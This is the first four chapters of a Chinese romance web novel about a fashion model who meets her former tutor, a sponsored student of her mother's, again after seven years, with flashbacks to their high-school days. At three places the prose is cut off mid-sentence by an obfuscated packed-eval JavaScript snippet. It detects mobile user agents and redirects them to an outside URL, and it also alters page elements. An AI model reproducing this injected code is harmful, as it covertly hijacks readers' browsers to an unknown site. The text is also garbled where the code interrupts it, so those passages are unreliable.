《失守》 1. 第 1 章 越灿一觉睡到了下午,天昏地暗,吵醒她的不是闹钟,而是嗡嗡的来电震动。烦人。 她从被窝里探出一截光溜溜的手臂,摸过手机,闭眼接听:“嗯?” 对方语气急促:“几点了还睡呢?” 越灿带着要醒不醒的鼻音:“你谁?” “我谁?!”对面气笑了,“我是你姐!越灿,你现在就给我起来,马上起来!听到没!下午的面试要是砸了,我捏死你。” 越灿耳朵要炸了,喃喃:“知道了镜姐,保证完成任务。” 挂掉电话,越灿又睡了半小时才从床上爬起来,去浴室冲了淋浴,洗漱,随意搭了身衣服,素颜出门,走路带风。 下午是VE杂志的试镜,A版封面,竞争十分激烈。 越灿在楼下买了杯咖啡当午餐,开车出发目的地。途中又接到了宋镜的催促电话,问她什么时候能到。 “快了,”越灿不紧不慢地扫了眼导航,“十分钟吧。” “等你啊。” 宋镜是独立服装设计师,自己创立的品牌刚起步,正缺曝光和宣传,拿下VE封面对她意义重大。 越灿和宋镜是老搭档了,几乎是宋镜的“御用”模特,这次能不能拿下封面版,就看下午越灿的面试表现。 十分钟后,越灿如约和宋镜碰上面。 “哎,我的小姑奶奶,你可算来了。”宋镜匆匆快走过来,松口气。 越灿:“按约定时间,我没迟到。” “那也稍微有点紧迫感好不好?VE封面版哎!其他人都早就到了。” “来早了也要等。” “你也太松弛了点。” 越灿散漫说:“你不是希望我试镜的时候紧张吧?” 宋镜连“呸”了好几下。 当初宋镜拉越灿入行,就是看中了越灿身上的松弛感。后来,宋镜觉得越灿这个人有点松弛过头了,好像全世界都没有她紧张在乎的东西。 “行了,准备做妆造。” “嗯。”越灿往后撩了撩额前稍稍凌乱的发丝,跟上宋镜的步伐。 化妆间热闹,今天是第二轮竞选,有六家品牌参与。论品牌影响力,宋镜没有优势,可以说全押宝在越灿身上了,紧张也在所难免。 越灿在化妆台前坐下,微微抬起脸,轻车熟路地配合着化妆师上妆。她今年二十六岁,入行七年,也算得上“圈内老人”了,对这套流程早就熟悉得不能再熟悉。 化妆师和造型师都是熟人,这种场合用熟人不容易出错。 这次拍摄的是秋冬主题,配合品牌风格,越灿今天走轻熟慵懒系,化妆师虽然不是第一次负责越灿的妆面,但妆造做好后还是又被惊艳住了。 宋镜也甚是满意,朝越灿比了个大拇指,心态稳了一半。她打量着越灿,不得不感叹,天生就是吃这碗饭的。 越灿是设计师和摄影师眼里最受欢迎的那类模特,可塑性很强,多种风格都能驾驭,并且有张力,美得不无趣,这很难得。这也是她没了年龄优势,却依然不缺通告的原因。 离试镜开始还有段时间,等待总是漫长。 越灿刷起手机打发时间,屏幕上密密麻麻的文字,她看得专注,指尖有规律地扫过翻页。 造型师时不时帮越灿整理一下发型,瞥见她在看什么入迷,笑着寒暄:“看书呢?怪不得你气质这么好,果然是腹有诗书气……” 话没说完,造型师忽而哑住,她不经意扫到屏幕上的一小段: 两个女人……互相抚摸……激情……热吻……失控……喘息……赤/裸……缠绵…… 越灿笑了下,继续看,目不转睛,饶有兴致。 造型师不可思议地盯了盯越灿侧脸,心情稍稍凌乱,要不要顶着这么明艳高级的一张脸,神情认真地……钻研“小黄文”? 越灿有用看小说打发时间的习惯。故事里的人不管怎么折腾,兜兜转转,都会有甜蜜圆满的结局。 多好啊。 她有时羡慕。 快试镜了,越灿才放下手机,宋镜操碎了心似的帮她补了补口红,说了句“加油”。 一面对镜头,越灿显得成熟靠谱很多,绝对的专业,行云流水的动作造型,每一个眼神和表情,干脆利落,表现力十足,几乎没给摄影师拍出废片的机会。 “很棒!再换个侧面。”摄影师惊喜得有些失态,嘴里不知道重复了多少遍很棒。 宋镜有种百分百稳了的自信,盯着正不断刷新照片的显示屏,嘴角快笑烂了。当年她误打误撞挖到越灿,真是挖到了宝。 越灿接触模特这行,是在19岁那年,她记得很清楚,那个大一暑假。当时她被朋友带去摄影棚玩,宋镜一眼就相中了她,问她有没有兴趣试镜。 越灿起初只是尝试玩玩,并没想过当一名模特。 宋镜起初也没想到能挖越灿入行,小姑娘是富二代,不缺钱,入这行干嘛,又苦又累的还不稳定,没必要。但次年越灿却突然找到她,说想做兼职模特挣钱,她还意外好久。 习惯了模特生活,大学毕业以后,越灿也就没转行了。她性格懒散,不喜欢坐班,这职业也适合她。 试镜持续到傍晚,结果要过几天才出来,但越灿今天的表现显然十拿九稳了,接下来不过走个流程的事。宋镜兴奋拉住越灿的手,“我就知道你行!最爱你了!” 越灿不吃这套,“拜托,给点实际的。” “下次请你吃饭泡温泉。”宋镜边说着,火急火燎地看手机回消息,“我还有点事,就先走了,今天辛苦了。” 越灿活动了一下脖颈,是有点累。这时边上手机响了起来,她拿起接听,“妈。” “今晚能过来吗?大家在等你。” 越灿一副活人微死的语气:“算了吧,刚拍摄完好累,不去了。” 那头谭茗也没再催促,日常对女儿没辙。今晚是公司二十周年的庆典晚宴,她本来还想叫越灿过去露个面。 越灿父母都是商人,但她没继承到爸妈的商业头脑,对生意上的事也不感兴趣,为此跟家里闹过吵过,最后父母拧不过她,妥协了,说她自己开心就好。 越灿换回自己的衣服,从VE离开,她开车准备回家,结果碰上晚高峰堵车,半道还下起了雨。 今晚天气很糟糕,闷热又潮湿。南夏市的雨季很长,一湿漉漉就是大半个月。 越灿扶着方向盘,指尖在方向盘上不耐烦地轻敲着,这场雨让她心情欠佳。 手机跳出微信消息,越灿垂眼看了看,是好友钟然发来的,钟然今晚也去宴会捧场了。 ——今晚美女好多啊 ——太养眼了 ——你确定不过来? 越灿已读不回,钟然这套说辞诱惑不到她,她虽然喜欢女人,但不爱看美女。而且,她认为钟然对高颜值的定义过于宽泛。 又过了会儿。 钟然继续微信轰炸: ——灿灿灿灿灿灿灿 ——你猜我看到了谁! ——你绝对猜不到! ——[照片] …… 越灿依旧没兴趣点开,钟然这人打小就浮夸,她习以为常了。 雨还在下,车继续堵。 十分钟移动五十米。 要不是实在堵得无聊,越灿不会闲得点开钟然十几分钟前给她发的微信。 那张照片。 照片有点模糊,像是放大了好几倍的远距离偷拍,照片里是一个女人的侧脸,朦胧间也能感受得到美貌。 越灿仔细看了看,看清以后,心脏仿佛突然被什么很钝的东西击了一下,完全猝不及防,她盯着照片,一时间又像聋了一样,听不到外面的雨声。 前方的红灯结束,道路疏通,身后响起一片急促暴躁的鸣笛声。 越灿恍然回神,被猛地拽回现实。她心不在焉地驱车往前,路不堵了,心里开始堵—— 她回来了? 回来就回来,与自己无关。 这么想着,轻松许多,越灿继续按原路线往前行驶,无动于衷地开了十分钟,二十分钟…… 到第二十一分钟的时候,她打着方向盘,还是掉了头。 _ 宴会正在餐叙环节。 钟然喝着红酒,看了看手机,越灿没回消息,不知道是没看见还是其他……她突然犯怵了,自己是不是不该给越灿发这张照片。 “对了晚照,你回来的事,跟灿灿说了没?” 薄晚照看向谭茗,越灿的眉眼太像谭茗了,她不动声色地握紧手中酒杯,莞尔:“还没。” 谭茗提起女儿头疼,“她不想回公司,宁愿在外面当模特。” “……是吗?” 薄晚照含笑答话。 “反正她开心就好了,现在翅膀硬了也管不着。”谭茗说着,“抽空来家里吃顿饭吧,你们也好久……” 薄晚照听着谭茗的话,稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744189|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍分神,视线短暂瞥向了别处。 越灿进来的时候引来了不少目光,她的穿着和当下场合实在格格不入,贴身吊带,宽松牛仔裤,很随意,不过将随意的衣服穿出抓眼的感觉,是模特的基本业务能力。 钟然看到越灿的出现,意外又不意外。还是来了啊。 “你不是说没空吗?”谭茗看到越灿的打扮微微皱眉,嫌上衣布料太少,她小声责备,“怎么穿成这样就来了?” 是她吧……越灿余光扫过了一旁高挑的女人,但又好像没注意到一般,慵懒回着谭茗的话:“忙完顺路经过这边,饿了,正好过来吃点东西。” “这都干的什么活,饭都吃不饱。”谭茗碎碎吐槽。 “要做身材管理嘛,吃不饱很正常。”越灿继续笑说着,带点撒娇的意思。 “晚照,灿灿来了。” 等谭茗说了这句话以后,两人目光才不约而同的正视彼此。 对视上。 越灿终于近距离看清了对方,此时感觉是虚的,做梦一样的不真实感。她穿着剪裁得体的昂贵衬衫,干练精致,气场十足,再不是当初清贫的模样,变得光鲜亮丽了……这么多年,理想一定都一一实现了吧。 时间和距离能模糊很多东西,比起曾经的亲密,现在更多是陌生。 两人一时都没开口说什么,像没认出彼此。 忘了也正常。 谭茗跟薄晚照笑说:“这是越灿啊,是不是太久没见,变化太大了,你们都认不出来了。” 从夏天到夏天,七年,越灿心里有着精确时间。谭茗不知道她们那段没见过光的过往,自然也不清楚她们见面时的心情。 薄晚照波澜不惊看着面前的人,笑着先说话:“是好久没见了。” 特别云淡风轻的一句,淡得像时光早就抹去了一切,什么都释然了,她们之间没什么特别。 越灿也云淡风轻地点着头,“有六七年了吧?” 薄晚照目光柔和,“嗯。” 再然后,没什么可说。 谭茗带着越灿去跟其他人打招呼,越灿稀里糊涂,没向以往那样抵触交际,这时像个任人摆弄的木偶。 有人搭讪:“薄总,我们能合个影吗?” 薄晚照:“好啊。” “你真是太美了。” 薄晚照:“谢谢。” 越灿听着三言两语入耳,声音还是自己熟悉的,和以前一样,温和好听,总是不紧不慢。 越灿无奈被谭茗拉着跟一堆不认识的人打着招呼,最后还是钟然拉了她一把,才把她给解救出来。 钟然看她有说有笑,状态良好,十分洒脱无所谓的态度,于是试探问她:“你真是刚好路过?” 越灿正吃着蛋糕,挑眉反问:“不然呢?” “这么巧的?” 不远处。 “薄总,你是不是不舒服?” “没事,抱歉,我去趟洗手间。” 越灿用小勺挖着蛋糕往嘴里送,最后还剩一小半,她索性一口吞进嘴里。 钟然看她要走,“去哪?” 越灿:“洗手间。” 钟然:“……” 刚好路过…… 信你个鬼! 洗手间内,薄晚照撑在洗手台前,呼吸稍稍急促,情绪不安躁动,她抬头看看镜子里的自己,尽力平复着什么。 不一会儿,越灿也走进洗手间,与薄晚照隔着一米多的距离。她目光垂了垂,落在对方清瘦的手上,手指白皙纤长,没有点缀。 薄晚照脸色不太好。 尽管时隔多年,越灿还是敏感察觉到薄晚照是老毛病犯了。如果是当年,她会走上前直接抱她,安抚情绪…… “薄总,要我陪着你吗?”有第三个人走进来,关心询问。是方才和薄晚照聊天的女人。 越灿回头看对方,她先于薄晚照礼貌回答:“不用麻烦了。” 对方一愣,“你是……” 是什么身份?越灿带笑,轻松坦然地回答:“她妹妹。”除了这个,也找不到其他身份。 “那我就放心了。” 等空间里又只剩两个人,空气沉寂,越灿低声问:“还好吧?” 薄晚照缓着呼吸,“还好。” 越灿将手放到水龙头下,带着绵密气泡的水流漫过手背,暗戳戳的,有点儿痒。 她低着头洗手,继续漫不经心叙旧:“你不是说不会回来了?” 2. 第 2 章 “你什么时候回来?” “我不会再回来了。” …… 越灿离开酒店,坐在车内,思绪抽离。雨没停,反而越下越大,雨水模糊了眼前的景象,又洗刷着蒙尘的回忆,一点一点变得清晰。 那年她高三,还扎着高马尾,身上穿着过分宽松的校服,正叛逆的时候,和父母关系紧张,隔三差五吵架。 高中最后一个寒假,冬天格外漫长,冷空气徘徊好久才退场。 高三假期通常不是用来休息,而是用来卷生卷死的,虽然越灿不属于内卷行列,但也轻松不到哪去。 连续高强度补习了一星期,在寒假还剩三天时,越灿终于忍无可忍,从家里偷溜了出去,大口呼吸室外新鲜空气。 “越灿。” 走进一家甜品小店,越灿很快找到钟然的身影。钟然已经点好了她爱喝的饮料,正朝她招手。 钟然是她的同班好友,两人除了学习,基本可以无话不谈。 “约你出来可真难,忙什么呢?” 越灿先吸一口热乎乎的奶茶,“忙着被人折磨。” 钟然:“啊?” “我现在一天学习12个小时,你信吗?” 钟然震惊,她知道越灿家里找了人给她补课,但没想到这么拼,“说好一起摆烂的,你怎么背着我卷起来了?” “我妈嫌我成绩差丢她脸,找人天天监督我学习,就现在还是偷溜出来的。” “你妈是挺严厉的。”钟然深表同情,她见过越灿的母亲谭茗,一位气场相当强大的精英女士,偏偏越灿慵懒散漫,与谭茗截然相反。 谭茗自己也不止一次吐槽,越灿不像是她能生出的女儿。 “对了。”钟然拿着手机凑到越灿面前,兴奋说,“你看看,我做的最新版计划,查了好多资料,这条路线更合理,能玩更多地方。怎么办,我感觉两个月都不够我们浪的,草原也想去,听说拍照可出片了……” “现在才二月份,你就想着毕业旅行是不是太早了?”越灿泼了冷水,她边吃小蛋糕边吐槽,“还是先想想开学后的二模吧。” 钟然真不相信这是越灿能说出来的话,“才多久不见你还变学霸了?就张口闭口学习,好不容易出来一趟,聊点别的行吗?求你了。” 越灿悠闲挑着奶茶里的珍珠吃,“行,聊别的,你聊。” 被越灿一说,钟然也觉得毕业旅行八字还没一撇,不适合太早兴奋。她咬了咬饮料吸管,小声问:“哎,你跟班里那个谁真在谈恋爱?” 越灿皱眉,“什么跟什么?” 钟然:“就是副班长啊。” “没有的事。”越灿无语了,“而且我也颜控好吧。” “那我就放心了。”钟然长长舒了口气,她是颜控,如果好朋友谈个丑的,她会在心里哭死,“我也觉得不可能,可是班里都传起来了,说你俩在谈。” 越灿嘴里蹦出俩字:“闲的。” 十七八岁的年纪,正敏感,热衷八卦起哄。 越灿性格外向,放得开,爱笑,这种女孩儿在学校很招桃花,女生男生都有。或许因为钟然就是弯的,天天在她耳畔念叨想找“女朋友”,上学期被一个女生表白时,她没有吃惊,只是礼貌拒绝了。 “你不会因为这事被请家长吧?估计都传到老班耳朵里了。” “钟然,闭上你的乌鸦嘴。”越灿觉得自己现在已经够苦了。 钟然立即配合抿上嘴,她这张嘴总是好的不灵坏的灵。 两人喝着奶茶,有的没的闲扯,不知不觉就待了一个小时,难得偷闲,钟然提议去附近商场的电玩城逛一下。 越灿没意见,最近她天天闷在家,不是看书就是刷题,都要闷死了。 刚准备起身,她手机上弹出了新的微信消息。 对方微信名“bwz”,一看就是懒得取昵称,所以直接用了名字的首字母缩写。 【bwz】去哪了? 越灿不理。 【bwz】该回来了 越灿还是装作没看见,紧接着,一通电话打了过来。在接和不接之间犹豫了两三秒,她最终还是滑向了接听键。 对方没有问候,直接轻轻一声: “在哪?” 客观上,这是个温柔好听的嗓音,比很多电台主播的声音还悦耳,但一想到说话的人,这个声音的好听程度自动在越灿心里打了折扣。 “我跟朋友在外面,有事,下午不回去了。” 对方还是温声回答:“不可以,该回来了。” 越灿咬咬牙,决定放低一下姿态,她贴着话筒小声商量:“就给我通融这一次嘛,行不行?” 电话那头明显静了一两秒。 越灿以为有戏。 然而对方像是被输入了固定程序的ai机器人:“不行,下午安排好了补习,现在就回来。” 越灿:“……” 自己还是天真了,以后再跟这人服软她不姓越! “再不回来,我给阿姨打电话了。” 杀手锏总是甩得及时,越灿咬牙切齿,不情不愿回了句:“知道了。” 草草结束通话。 “谁呀?”钟然问,她本来以为是越灿爸妈,但是听越灿说话的语气又不像。 越灿:“每天折磨我的女人。” 应该是帮忙补课的那位了,钟然笑了笑,“有这么夸张吗?” “不说了,我回去了。” 打电话过来的人叫薄晚照,从谭茗把自己交给薄晚照负责的那刻起,越灿就知道自己好日子到头了。一个习惯躺平的学渣,被迫和一个励志学霸朝夕相处,可想而知有多难熬。 越灿打了个车,乖乖回家。坐在后座,她捂了捂自己小腹,明明出来时还好好的,生理期难受,连带着心情也更郁闷。 二十分钟后到家,越灿怕冷,外出总会裹得严严实实,但今天风大,回去时脸颊和鼻尖还是被冻红了,稍显狼狈。 客厅安静,只有轻轻翻动纸张的声音,沙发上坐着一个穿浅色毛衣的年轻女人,身形清瘦,她垂眼在看书,手中握了支笔,偶尔写写划划。 听到脚步声,薄晚照抬起了头,她将笔夹在书里,再放下书本,“要休息一下再开始吗?” 家里暖气很足,越灿将身上的羽绒外套脱了,面对薄晚照的询问,哼了句“随便”,说完自己主动进了书房。 薄晚照见状,也起身往书房走去。 书房朝南,面向江景,今日阳光和煦,明亮舒适。 越灿闷声闷气在书桌前坐下,温习完知识点,薄晚照照旧让她做题,再查漏补缺。 她今天格外不在状态,同一个类型的题,连错了两遍。自己都烦躁了,偏偏耳边传来的声音永远柔和耐心: “我再讲一遍,不要再错了。”讲解完以后,薄晚照看她,“懂了吗?” “差不多。” “再做一遍给我看。” 越灿成功又错了一遍,她瞄一眼薄晚照,薄晚照竟然面无波澜……她有时也挺佩服薄晚照的,帮自己补习的这段时间里,居然一次都没抓狂过,绝对算得上神人。 她打小就在学习上没天分,谭茗给她找过不少家教,但那些人不管履历写得多天花乱坠,每一个都逃不过教到心态崩溃的时候,唯独薄晚照例外。 准确来说,薄晚照不只是她的家教,她应该叫薄晚照一声“姐姐”,但这么多年,她从来没这样叫过薄晚照。 她母亲谭茗事业有起色以后,热心公益,资助处境困难的女孩完成学业。谭茗家境不好,以前吃过不少苦,是靠念书才改变了命运,深知没有家庭托举的女孩处境有多艰难。 薄晚照是谭茗早年资助过的学生之一。但薄晚照又和谭茗资助过的其他学生不太一样,越灿看得出来,谭茗很喜欢薄晚照,会破例带她回家,处处照顾。 越灿能理解谭茗为什么偏爱薄晚照,薄晚照是谭茗帮助过的最优秀的学生。这人脾气好,成绩优异,有进取心,听说从来只考第一,是谭茗最想培养出的那种女儿…… 越灿盯着作业纸,薄晚照一边讲解一边写着演算步骤,笔尖摩擦出的沙沙声催眠,身畔人身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744190|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净清淡的香气也莫名安眠,她支着脑袋,上下眼皮疯狂打架。 “越灿。” “啊?” “又走神了。” 薄晚照没有抬头,低声提醒。 越灿哑了哑,她瞥瞥薄晚照,这人身上是多长了双眼睛吗,怎么不看自己也知道自己走神。 薄晚照转过头,看到她脸色有点差,“不舒服?” 生理期越灿的确更难集中注意力,她有什么说什么,“疼。” 薄晚盯着她。 越灿也盯着她,“真的。” 薄晚照起身,没多久,越灿看到她送了杯冒热气的红糖水过来,这是让自己喝点热水继续撑的意思?她冲薄晚照拧了拧眉毛,委屈的情绪挂脸上了。 越灿以为薄晚照会丧心病狂地说“再坚持一下”,毕竟薄晚照看起来就像那种痛经也能熬大夜坚持学习的主儿。 “今天就到这吧,好好休息。” 越灿受宠若惊,也如释重负,可以解放半天了。她盘算着,再坚持两天,开学之后,就不用每天都在薄晚照眼底受煎熬了。她最受不了约束,而薄晚照就好像谭茗安排在她身边的“人工监控”…… 提前结束补习,薄晚照提前离开了越家,她今年研二,不住校,从大学起她就一直自己在外租房。谭茗本来想让薄晚照直接住在家里,这样不用每天赶来赶去,但薄晚照执意说不用。谭茗见她坚持,也不好勉强。 假期余额不足,第二天钟然又找到越灿,问她是不是好姐妹,然后图穷匕见,说好姐妹之间应该共享一下作业。 最后一天拼个生死时速,学渣们的常规操作,不过越灿这次有恃无恐,毕竟身边有学霸加buff。反正补习也是无聊,越灿直接让钟然来自己家。 钟然过来时,正好碰到薄晚照在跟越灿交代任务。 两人关系好,从来不打客套的招呼,越灿回过头跟钟然说,“作业都在这,你自己按需共享。” “……布置给你的题在我下周末之前记得完成,以后我每周六周日过来。”薄晚照例行说着,她拿起包,“我先走了。” 越灿叫了叫她,“我妈让你今晚在家吃饭。” 薄晚照淡声道:“不了,替我谢谢阿姨。” 越灿猜到也是这样。 钟然和转身的薄晚照打上照面,她看了薄晚照一会儿,“那个,姐姐……你带家教吗?” 薄晚照:“嗯。” “我加一下你微信行吗?我也想找家教。” 薄晚照莞尔,“这学期没有空了,你可以找别人。” 钟然失落,“这样啊。” “加一下也可以。” 薄晚照说着拿出手机。家教吃人脉,人脉就是钱,而她太缺钱。她从大一起就开始带家教,有个号,专门用来加学生跟家长。 钟然喜出望外,兴高采烈加了好友,热情招手:“姐姐再见。” 等薄晚照离开后,越灿看着钟然,冷冷说:“你加了她也没用,她不发朋友圈的。” 钟然碰到好看的女生就爱找借口加人家微信,然后偷偷关注朋友圈,勤勤恳恳点赞。当初钟然也是这么跟她熟络起来的。 “她说话好温柔啊,太苏了……”钟然昨天听越灿描述,还以为会是个多严厉不好说话的人,“有漂亮姐姐辅导,难怪一天能学十二个小时。” 越灿问:“这之间有什么关系吗?” “当然有关系了。”钟然有理有据分析,“长得好看的话,赏心悦目一定程度上可以抵消掉学习带来的痛苦。” 越灿:“……”她不明白钟然的脑回路,在她这里完全抵消不了。 “以后女朋友要是能谈个这样的就好了,温柔姐姐什么的最香了……”钟然的性取向只告诉了越灿,也只是在越灿面前,她才敢把“女朋友”三个字高调挂嘴边。 越灿笑了下,认识多年,她很清楚薄晚照绝对不是钟然口中的那类“温柔姐姐”。 薄晚照只是表面温和罢了,实际上冷得要死,她会对你温柔,但不会让你靠近。她甚至感觉,薄晚照这个人谁都不会喜欢。 3. 第 3 章 “灿灿,你说我什么时候才能有女朋友?我看起来太直了吗?怎么就没有女生跟我表白呢?”钟然托腮望着越灿,叨叨个没完。 这番话越灿耳朵都听起茧了,“你盯我干嘛,想追我?” 钟然语塞,死妖精撩人不带脸红的,她眨眨眼问越灿,“你有听过一句传世名言吗?” “什么?” “直女撩姬,天打雷劈。”钟然说完,又打量着越灿琢磨了一下,若有所思,“不对,你是直女吗?你好像对男的也没意思,上回隔壁班那个女生跟你表白,你也太淡定了。” 越灿挑挑眉,“我谁都不爱,这样行吗?” 钟然眯了眯眼,发出锐评:“一般说谁都不爱的人,最后都爱得死去活来。” 从没谈过恋爱的恋爱脑大师又在发表关于爱情的高谈阔论了。越灿把试卷甩到钟然面前,“抄你的作业。” “什么抄啊,是交流,交流!” - 气温一天天回暖。 高三下开学后,班里的学习气氛明显紧张了好几个度,除了紧张,还有一如既往的枯燥、平淡。 让越灿最近生活不那么平淡的,有两件事:一件是学校上半年例行举办的艺术节;另一件,就是她被班主任请家长了。 钟然那张死嘴就跟开过光一样,她还真因为班里传出来的绯闻被叫了家长。她跟班主任解释了,但班主任异常笃定她那要死不活的成绩,是受到了早恋影响。 解释不清,越灿索性懒得多说,心想请就请吧。 她最擅长摆烂和知难而退,从不内耗自己,身边朋友说她没心没肺,她觉得没心没肺挺好,快乐至上。 就这样,谭茗被班主任唐晓筠“邀请”了三次,不得不抽出半天时间来了趟学校。 谭茗是南夏市颇有名气的女企业家,又给学校捐赠过,见面之后,唐晓筠的态度很客气尊重,客套话说了不少后,才进入主题。 “谭总,我知道您平时工作很忙,但是孩子的教育问题还是要花点精力……” “越灿上学期成绩你也看到了,马上高考了,得抓紧了。” “其实越灿还是很聪明的,就是心思没用在学习上。” “您平时需要多引导她……” “上学期她还谈恋爱了……” …… 就着成绩和早恋的事谈了近一个小时,谭茗才解脱出来,头大了一圈,重重叹了口气。事业上她风生水起,但教育女儿这件事日常令她焦头烂额。 走出办公室,正好下了课,谭茗揪住越灿单独谈话,母女俩在校外的一家餐厅吃晚饭。 虽然这次请家长的罪名纯属冤枉,但越灿还是做好了被扒层皮的准备。 谭茗开门见山问:“真谈恋爱了?”她说话的口吻和她外形一样,总是干脆利落。 越灿:“没有。” 谭茗又说:“谈了就是谈了,我又不是老古董。” “真没有——”越灿拖了个长音,再次解释,“他们瞎传,我又管不住他们的嘴。” “那班主任打三个电话催我来学校,她说你早恋影响到成绩了。” “我解释了她不相信,再说我成绩一直不好,你又不是不知道。” “考得差你还有理了?” “题太难了。” “你还真是一点都不反思自己。”谭茗气到无语,“我当年可是年年奖学金,你爸成绩也还行,真不知道你像谁。” “我现在不是在努力学习了,寒假都没玩儿。”越灿忙着夹菜,丝毫没影响到干饭的心情。 谭茗无奈又好笑:“吃吃吃,你还有胃口。” “人是铁饭是钢,这个番茄牛腩怪好吃的。” 谭茗:“……”她倒不是要求自己女儿成绩要多拔尖,但至少得过得去吧,所以寒假特意找薄晚照盯着越灿学习。 没多久,桌面上的手机开始嗡嗡震动。 谭茗接了个电话,然后低着头边回消息边解决晚饭。 越灿看谭茗这架势不出五分钟就要走了,跟她说:“这周五学校艺术节,你们来吗?高中最后一次活动了,你跟老越至少来一个吧……” 这事她说过一次了,怕大忙人忘,于是再提醒一次。 “嗯,好。”谭茗还在回复消息,回完后她匆匆起身,拿起外套,“妈妈有事先走了,你在学校乖点啊,都十八岁了,懂事点。” 越灿没来得及回话,就看见人已经风风火火离开了。她习以为常,继续一个人吃饭。 为了丰富课外活动,学校每年春季开学后都会举办艺术节,这自然是高一高二的主场,高三学业紧张没有时间排练太复杂的节目,一般都是集体朗诵或是合唱之类的。虽然这种节目很无聊,但比起在教室里闷头上自习,那还是有意思许多,再加上又是高中生涯的最后一次活动,多少带点纪念意义。 到了周五傍晚,学校里人来人往、鸡飞狗跳的,晚自习变成了两小时的活动时间,大家都很兴奋,沉闷已久的校园难得沸腾,青春肆意起来。 夜幕降临,大家奋力挥舞着荧光棒,暂时将学习抛在脑后,都玩得很嗨,尤其是高三部。正值周五晚上,刚好是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744191|157530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生放假的时候,所以这晚来的家长也很多,空前热闹。 虽然谭茗答应了会过来,但越灿没抱太大的希望,根据她的经验,自己极有可能又被放鸽子。 到了十点多,汇演落幕,热闹才慢慢褪去。果不其然,一晚上越灿都没看到大忙人们的出现…… 也在意料之中。 “灿灿,再见。” “你爸妈没来吗?” “周一见了。” 越灿一一回应着周围人的招呼,又碰到了钟然。 钟然父母今晚也来了,她看到越灿落单之后,上前挽住她手臂,“走吧,今天我们一起回去。” 越灿摇头,婉拒了钟然的好意,“家里有车来接我,下周见了。” “那好吧。” 跟钟然道别以后,越灿发现谭茗给她发了微信,她懒得点进去看,估计又是“有事脱不开身”之类的,然后还会说,买个礼物作为补偿。 耳畔一片欢声笑语,今晚太喧闹,一个人就显得格外落寞。 越灿温吞,不想人挤人,于是等大部队散了她才往外走,校内喧嚣散去,逐渐变得空荡,行人三三两两。 已是三月底,算不得寒冷,但晚上有风还是觉得凉。 越灿裹了裹校服外的外套,把自己包成密不透风的大粽子,低着头,百无聊赖地踩着礼堂外的阶梯往下走。 慢慢悠悠踩到最后一阶,她才抬起头,整个人在原地怔住。好像有人在等自己…… 一道单薄的身影站在朦胧的夜色里,晚风吹得她发丝和衣摆都轻轻扬起,在月光下显得清清冷冷,但她怀里抱着的一大捧花束却浪漫热烈。 越灿以为自己最近被某人折磨太久,以至于看花了眼,愣了两秒,她才问薄晚照,“你……怎么来了?” 薄晚照走近,先将手里的花束递给她。 越灿立马反应过来,“我妈让你来给我捧场?” 薄晚照淡淡解释,“她今晚没有空过来,订了束花给你。” 一猜一个准,越灿看了看眼前的花束,想到又被放鸽子,心里多少有些情绪,她不太给面子,没有接。 薄晚照也不催促她接,轻声说:“回去吧,外面冷。” 这句话柔软得像在哄人。 越灿望着她,有一瞬间,承认自己有点被暖到。她默默跟着薄晚照脚步,在她的印象中,薄晚照好像从来不会拒绝谭茗的请求。 她不知道薄晚照的具体遭际,但她想谭茗一定给过薄晚照很重要的帮助,否则明明不冷不热的一个人,怎么会像姐姐一样照顾自己? 4. 第 4 章 两人并肩走在校园,没有多余的寒暄,气氛安静得有些僵。 越灿不属于话少的人,但也不会为了缓解气氛刻意没话找话,多累。 今晚撞见薄晚照捧花的模样,越灿后知后觉,薄晚照这些年的变化好大。她还记得初次见薄晚照时的情形…… 薄晚照比她大了五岁,谭茗第一次带薄晚照回家时,她刚上初中。她看见谭茗领着一个过分消瘦、脸颊毫无血色的女孩到她面前,让她叫姐姐。 当时她正跟家里闹脾气,死活不愿意叫,到后来,她也不习惯叫。 越灿现在回想起来,那时候的薄晚照柔弱,干瘦,苍白,眼眸里完全没有青春期该有的生气,反而带着死气沉沉的麻木。 她们之前见面并不频繁,也是从这个寒假起,谭茗请了薄晚照给自己当家教,两人交集才多了起来。 越灿也不清楚薄晚照是什么时候蜕变的,虽然现在的薄晚照依然文静寡言,但眼底多了凌厉,也变得更从容冷静,像换了个人。 晚风吹着树叶作响,空气里开始弥漫花香了。有点好闻。 两人在过分安静的气氛中走了挺长一段路,直到越灿肚子传出咕噜的低鸣——晚上她没吃东西,从下午到现在胃里还是空的,肚子叫了几声,像在抗议什么。 越灿装作若无其事,但很快肚子再次闹起脾气。 这时候,越灿看到身边的人递了一袋饼干过来。她吃惊瞧向薄晚照,声音有这么大?这都能听到? 